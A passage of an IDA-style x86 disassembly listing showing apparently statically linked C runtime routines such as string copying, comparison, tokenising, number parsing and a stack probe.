mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C218
and byte ptr [ecx], 0
loc_41C218: ; CODE XREF: sub_41C151+BBj
; sub_41C151+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C26B
cmp edi, ebx
jb short loc_41C26B
cmp [ebp+arg_C], 0
jz short loc_41C248
sub edi, ebx
cmp edi, esi
jb short loc_41C231
mov edi, esi
loc_41C231: ; CODE XREF: sub_41C151+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_4201BE
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C248: ; CODE XREF: sub_41C151+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C293
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C258
mov esi, eax
loc_41C258: ; CODE XREF: sub_41C151+103j
push esi
push [ebp+var_4]
push edi
call sub_4201BE
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C293
; ---------------------------------------------------------------------------
loc_41C26B: ; CODE XREF: sub_41C151+CCj
; sub_41C151+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C289
sub eax, ebx
cmp eax, esi
jnb short loc_41C27A
mov esi, eax
loc_41C27A: ; CODE XREF: sub_41C151+125j
push esi
push ebx
push edi
call sub_4201BE
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C289: ; CODE XREF: sub_41C151+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C293
and byte ptr [eax], 0
loc_41C293: ; CODE XREF: sub_41C151+FCj
; sub_41C151+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C151 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C2A0 proc near ; CODE XREF: sub_40194F+8p
; sub_401AC7+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C2C0
loc_41C2AC: ; CODE XREF: sub_41C2A0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C2AC
loc_41C2C0: ; CODE XREF: sub_41C2A0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C2A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2CF proc near ; CODE XREF: sub_401AC7+73E0p
; sub_401AC7+740Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C2E3
xor eax, eax
jmp short loc_41C319
; ---------------------------------------------------------------------------
loc_41C2E3: ; CODE XREF: sub_41C2CF+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C313
mov esi, [ebp+arg_8]
loc_41C2EC: ; CODE XREF: sub_41C2CF+42j
dec dword ptr [esi+4]
js short loc_41C2FB
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C302
; ---------------------------------------------------------------------------
loc_41C2FB: ; CODE XREF: sub_41C2CF+20j
push esi
call sub_41EF78
pop ecx
loc_41C302: ; CODE XREF: sub_41C2CF+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C31D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C313
dec [ebp+arg_4]
jnz short loc_41C2EC
loc_41C313: ; CODE XREF: sub_41C2CF+18j
; sub_41C2CF+3Dj ...
and byte ptr [edi], 0
loc_41C316: ; CODE XREF: sub_41C2CF+55j
mov eax, ebx
pop esi
loc_41C319: ; CODE XREF: sub_41C2CF+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C31D: ; CODE XREF: sub_41C2CF+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C313
xor ebx, ebx
jmp short loc_41C316
sub_41C2CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C326 proc near ; CODE XREF: sub_41C52E+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C33E: ; CODE XREF: sub_41C326+46j
cmp dword_43A88C, 1
jle short loc_41C356
movzx eax, bl
push 8
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41C365
; ---------------------------------------------------------------------------
loc_41C356: ; CODE XREF: sub_41C326+1Fj
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C365: ; CODE XREF: sub_41C326+2Ej
test eax, eax
jz short loc_41C36E
mov bl, [esi]
inc esi
jmp short loc_41C33E
; ---------------------------------------------------------------------------
loc_41C36E: ; CODE XREF: sub_41C326+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C37C
or [ebp+arg_C], 2
jmp short loc_41C381
; ---------------------------------------------------------------------------
loc_41C37C: ; CODE XREF: sub_41C326+4Ej
cmp bl, 2Bh
jnz short loc_41C387
loc_41C381: ; CODE XREF: sub_41C326+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C387: ; CODE XREF: sub_41C326+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C51E
cmp eax, 1
jz loc_41C51E
cmp eax, 24h
jg loc_41C51E
push 10h
test eax, eax
pop ecx
jnz short loc_41C3CF
cmp bl, 30h
jz short loc_41C3B9
mov [ebp+arg_8], 0Ah
jmp short loc_41C3EB
; ---------------------------------------------------------------------------
loc_41C3B9: ; CODE XREF: sub_41C326+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C3CC
cmp al, 58h
jz short loc_41C3CC
mov [ebp+arg_8], 8
jmp short loc_41C3EB
; ---------------------------------------------------------------------------
loc_41C3CC: ; CODE XREF: sub_41C326+97j
; sub_41C326+9Bj
mov [ebp+arg_8], ecx
loc_41C3CF: ; CODE XREF: sub_41C326+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C3EB
cmp bl, 30h
jnz short loc_41C3EB
mov al, [esi]
cmp al, 78h
jz short loc_41C3E3
cmp al, 58h
jnz short loc_41C3EB
loc_41C3E3: ; CODE XREF: sub_41C326+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C3EB: ; CODE XREF: sub_41C326+91j
; sub_41C326+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C3FB: ; CODE XREF: sub_41C326+16Cj
cmp dword_43A88C, 1
movzx esi, bl
jle short loc_41C413
push 4
push esi
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41C41E
; ---------------------------------------------------------------------------
loc_41C413: ; CODE XREF: sub_41C326+DFj
mov eax, off_43A680
mov al, [eax+esi*2]
and eax, 4
loc_41C41E: ; CODE XREF: sub_41C326+EBj
test eax, eax
jz short loc_41C42A
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C45C
; ---------------------------------------------------------------------------
loc_41C42A: ; CODE XREF: sub_41C326+FAj
cmp dword_43A88C, 1
jle short loc_41C43E
push edi
push esi
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41C449
; ---------------------------------------------------------------------------
loc_41C43E: ; CODE XREF: sub_41C326+10Bj
mov eax, off_43A680
mov ax, [eax+esi*2]
and eax, edi
loc_41C449: ; CODE XREF: sub_41C326+116j
test eax, eax
jz short loc_41C497
movsx eax, bl
push eax
call sub_420248
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C45C: ; CODE XREF: sub_41C326+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C497
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C481
jnz short loc_41C47B
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C481
loc_41C47B: ; CODE XREF: sub_41C326+147j
or [ebp+arg_C], 4
jmp short loc_41C48A
; ---------------------------------------------------------------------------
loc_41C481: ; CODE XREF: sub_41C326+145j
; sub_41C326+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C48A: ; CODE XREF: sub_41C326+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C3FB
; ---------------------------------------------------------------------------
loc_41C497: ; CODE XREF: sub_41C326+125j
; sub_41C326+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C4B5
test edx, edx
jz short loc_41C4AF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C4AF: ; CODE XREF: sub_41C326+181j
and [ebp+var_8], 0
jmp short loc_41C502
; ---------------------------------------------------------------------------
loc_41C4B5: ; CODE XREF: sub_41C326+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C4DB
test cl, 1
jnz short loc_41C502
and ecx, 2
jz short loc_41C4D2
cmp [ebp+var_8], 80000000h
ja short loc_41C4DB
loc_41C4D2: ; CODE XREF: sub_41C326+1A1j
test ecx, ecx
jnz short loc_41C502
cmp [ebp+var_8], eax
jbe short loc_41C502
loc_41C4DB: ; CODE XREF: sub_41C326+197j
; sub_41C326+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4D9714, 22h
jz short loc_41C4F1
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C502
; ---------------------------------------------------------------------------
loc_41C4F1: ; CODE XREF: sub_41C326+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C502: ; CODE XREF: sub_41C326+18Dj
; sub_41C326+19Cj ...
test edx, edx
jz short loc_41C50B
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C50B: ; CODE XREF: sub_41C326+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C519
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C519: ; CODE XREF: sub_41C326+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C529
; ---------------------------------------------------------------------------
loc_41C51E: ; CODE XREF: sub_41C326+66j
; sub_41C326+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C527
mov [eax], edi
loc_41C527: ; CODE XREF: sub_41C326+1FDj
xor eax, eax
loc_41C529: ; CODE XREF: sub_41C326+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C326 endp
; =============== S U B R O U T I N E =======================================
sub_41C52E proc near ; CODE XREF: sub_401AC7+6131p
; sub_401AC7+6962p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C326
add esp, 10h
retn
sub_41C52E endp
; =============== S U B R O U T I N E =======================================
sub_41C545 proc near ; CODE XREF: sub_401AC7+58F7p
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 26807FFh
test eax, eax
jnz short loc_41C55B
call near ptr 2680DCDh
nop
jmp short loc_41C55D
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C545+Cj
xor eax, eax
loc_41C55D: ; CODE XREF: sub_41C545+14j
test eax, eax
jz short loc_41C56C
push eax
call sub_420314
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C56C: ; CODE XREF: sub_41C545+1Aj
xor eax, eax
retn
sub_41C545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C56F proc near ; CODE XREF: sub_401AC7+584Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_42037B
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F5D4
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420408
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C56F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5B0 proc near ; CODE XREF: sub_401AC7+1E0Fp
; sub_401AC7+1E2Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C5D1
xor eax, eax
jmp short loc_41C5D3
; ---------------------------------------------------------------------------
loc_41C5D1: ; CODE XREF: sub_41C5B0+1Bj
mov eax, edi
loc_41C5D3: ; CODE XREF: sub_41C5B0+1Fj
cld
pop edi
leave
retn
sub_41C5B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5E0 proc near ; CODE XREF: sub_401AC7+84Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C611
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C60F
jz short loc_41C611
dec ecx
dec ecx
loc_41C60F: ; CODE XREF: sub_41C5E0+29j
not ecx
loc_41C611: ; CODE XREF: sub_41C5E0+9j
; sub_41C5E0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C620 proc near ; CODE XREF: sub_401AC7+42Ap
; sub_401AC7+2FEDp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C691
sub_41C620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C630 proc near ; CODE XREF: sub_401AC7+433p
; sub_401AC7+7468p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C64C
loc_41C63D: ; CODE XREF: sub_41C630+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C67F
test ecx, 3
jnz short loc_41C63D
loc_41C64C: ; CODE XREF: sub_41C630+Bj
; sub_41C630+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C64C
mov eax, [ecx-4]
test al, al
jz short loc_41C68E
test ah, ah
jz short loc_41C689
test eax, 0FF0000h
jz short loc_41C684
test eax, 0FF000000h
jz short loc_41C67F
jmp short loc_41C64C
; ---------------------------------------------------------------------------
loc_41C67F: ; CODE XREF: sub_41C630+12j
; sub_41C630+4Bj
lea edi, [ecx-1]
jmp short loc_41C691
; ---------------------------------------------------------------------------
loc_41C684: ; CODE XREF: sub_41C630+44j
lea edi, [ecx-2]
jmp short loc_41C691
; ---------------------------------------------------------------------------
loc_41C689: ; CODE XREF: sub_41C630+3Dj
lea edi, [ecx-3]
jmp short loc_41C691
; ---------------------------------------------------------------------------
loc_41C68E: ; CODE XREF: sub_41C630+39j
lea edi, [ecx-4]
loc_41C691: ; CODE XREF: sub_41C620+5j
; sub_41C630+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C6B6
loc_41C69D: ; CODE XREF: sub_41C630+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C708
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C69D
jmp short loc_41C6B6
; ---------------------------------------------------------------------------
loc_41C6B1: ; CODE XREF: sub_41C630+9Ej
; sub_41C630+B8j
mov [edi], edx
add edi, 4
loc_41C6B6: ; CODE XREF: sub_41C630+6Bj
; sub_41C630+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C6B1
test dl, dl
jz short loc_41C708
test dh, dh
jz short loc_41C6FF
test edx, 0FF0000h
jz short loc_41C6F2
test edx, 0FF000000h
jz short loc_41C6EA
jmp short loc_41C6B1
; ---------------------------------------------------------------------------
loc_41C6EA: ; CODE XREF: sub_41C630+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C6F2: ; CODE XREF: sub_41C630+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C630+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C708: ; CODE XREF: sub_41C630+72j
; sub_41C630+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C630 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C720
loc_41C710: ; CODE XREF: sub_41C720+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C720
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C720 proc near ; CODE XREF: sub_401AC7+40Fp
; sub_401AC7+4B6p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C726: ; CODE XREF: sub_41C080+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C74B
loc_41C738: ; CODE XREF: sub_41C720+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C710
test cl, cl
jz short loc_41C794
test edx, 3
jnz short loc_41C738
loc_41C74B: ; CODE XREF: sub_41C720+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C756: ; CODE XREF: sub_41C720+61j
; sub_41C720+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C798
and eax, 81010100h
jz short loc_41C756
and eax, 1010100h
jnz short loc_41C792
and esi, 80000000h
jnz short loc_41C756
loc_41C792: ; CODE XREF: sub_41C720+68j
; sub_41C720+81j ...
pop esi
pop edi
loc_41C794: ; CODE XREF: sub_41C720+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C798: ; CODE XREF: sub_41C720+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C7D5
test al, al
jz short loc_41C792
cmp ah, bl
jz short loc_41C7CE
test ah, ah
jz short loc_41C792
shr eax, 10h
cmp al, bl
jz short loc_41C7C7
test al, al
jz short loc_41C792
cmp ah, bl
jz short loc_41C7C0
test ah, ah
jz short loc_41C792
jmp short loc_41C756
; ---------------------------------------------------------------------------
loc_41C7C0: ; CODE XREF: sub_41C720+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C7C7: ; CODE XREF: sub_41C720+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C7CE: ; CODE XREF: sub_41C720+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C7D5: ; CODE XREF: sub_41C720+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C7E0 proc near ; CODE XREF: sub_401AC7+1AEp
; sub_401AC7+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C82C
loc_41C7F0: ; CODE XREF: sub_41C7E0+3Cj
; sub_41C7E0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C824
or al, al
jz short loc_41C820
cmp ah, [ecx+1]
jnz short loc_41C824
or ah, ah
jz short loc_41C820
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C824
or al, al
jz short loc_41C820
cmp ah, [ecx+3]
jnz short loc_41C824
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C7F0
mov edi, edi
loc_41C820: ; CODE XREF: sub_41C7E0+18j
; sub_41C7E0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C824: ; CODE XREF: sub_41C7E0+14j
; sub_41C7E0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C82C: ; CODE XREF: sub_41C7E0+Ej
test edx, 1
jz short loc_41C848
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C824
inc ecx
or al, al
jz short loc_41C820
test edx, 2
jz short loc_41C7F0
loc_41C848: ; CODE XREF: sub_41C7E0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C824
or al, al
jz short loc_41C820
cmp ah, [ecx+1]
jnz short loc_41C824
or ah, ah
jz short loc_41C820
add ecx, 2
jmp short loc_41C7F0
sub_41C7E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C864 proc near ; CODE XREF: sub_401AC7+B5p
; sub_401AC7+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C87D: ; CODE XREF: sub_41C864+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C87D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C8A5
mov edx, dword_4D9760
loc_41C8A5: ; CODE XREF: sub_41C864+39j
; sub_41C864+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C8C5
test al, al
jz short loc_41C8C5
inc edx
jmp short loc_41C8A5
; ---------------------------------------------------------------------------
loc_41C8C5: ; CODE XREF: sub_41C864+58j
; sub_41C864+5Cj
mov ebx, edx
loc_41C8C7: ; CODE XREF: sub_41C864+81j
mov al, [edx]
test al, al
jz short loc_41C8EB
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C8E7
inc edx
jmp short loc_41C8C7
; ---------------------------------------------------------------------------
loc_41C8E7: ; CODE XREF: sub_41C864+7Ej
and byte ptr [edx], 0
inc edx
loc_41C8EB: ; CODE XREF: sub_41C864+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4D9760, edx
and eax, ebx
pop ebx
leave
retn
sub_41C864 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C900 proc near ; CODE XREF: sub_40981C+1Cp
; sub_415D62+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F5D4
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C93E
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C94B
; ---------------------------------------------------------------------------
loc_41C93E: ; CODE XREF: sub_41C900+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F4BF
pop ecx
pop ecx
loc_41C94B: ; CODE XREF: sub_41C900+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C900 endp
; =============== S U B R O U T I N E =======================================
sub_41C950 proc near ; CODE XREF: sub_40ADD4+88p
; sub_40B901+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CA04
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C97A
loc_41C96B: ; CODE XREF: sub_41C950+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C9AB
test edi, 3
jnz short loc_41C96B
loc_41C97A: ; CODE XREF: sub_41C950+19j
; sub_41C950+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C97A
mov eax, [edi-4]
test al, al
jz short loc_41C9B8
test ah, ah
jz short loc_41C9B3
test eax, 0FF0000h
jz short loc_41C9AE
test eax, 0FF000000h
jnz short loc_41C97A
loc_41C9AB: ; CODE XREF: sub_41C950+20j
dec edi
jmp short loc_41C9BB
; ---------------------------------------------------------------------------
loc_41C9AE: ; CODE XREF: sub_41C950+52j
sub edi, 2
jmp short loc_41C9BB
; ---------------------------------------------------------------------------
loc_41C9B3: ; CODE XREF: sub_41C950+4Bj
sub edi, 3
jmp short loc_41C9BB
; ---------------------------------------------------------------------------
loc_41C9B8: ; CODE XREF: sub_41C950+47j
sub edi, 4
loc_41C9BB: ; CODE XREF: sub_41C950+5Cj
; sub_41C950+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C9D0
mov ebx, ecx
shr ecx, 2
jnz short loc_41CA1C
jmp short loc_41C9EC
; ---------------------------------------------------------------------------
loc_41C9D0: ; CODE XREF: sub_41C950+75j
; sub_41C950+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CA0A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CA00
test esi, 3
jnz short loc_41C9D0
mov ebx, ecx
shr ecx, 2
jnz short loc_41CA1C
loc_41C9EC: ; CODE XREF: sub_41C950+7Ej
; sub_41C950+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CA00
loc_41C9F3: ; CODE XREF: sub_41C950+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CA02
dec ecx
jnz short loc_41C9F3
loc_41CA00: ; CODE XREF: sub_41C950+8Bj
; sub_41C950+A1j
mov [edi], cl
loc_41CA02: ; CODE XREF: sub_41C950+ABj
pop ebx
pop esi
loc_41CA04: ; CODE XREF: sub_41C950+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA0A: ; CODE XREF: sub_41C950+85j
; sub_41C950+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA14: ; CODE XREF: sub_41C950+E4j
; sub_41C950+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C9EC
loc_41CA1C: ; CODE XREF: sub_41C950+7Cj
; sub_41C950+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CA14
test dl, dl
jz short loc_41CA0A
test dh, dh
jz short loc_41CA68
test edx, 0FF0000h
jz short loc_41CA58
test edx, 0FF000000h
jnz short loc_41CA14
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA58: ; CODE XREF: sub_41C950+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA68: ; CODE XREF: sub_41C950+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C950 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA73 proc near ; CODE XREF: ___:0040B055p
; sub_40C29A+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
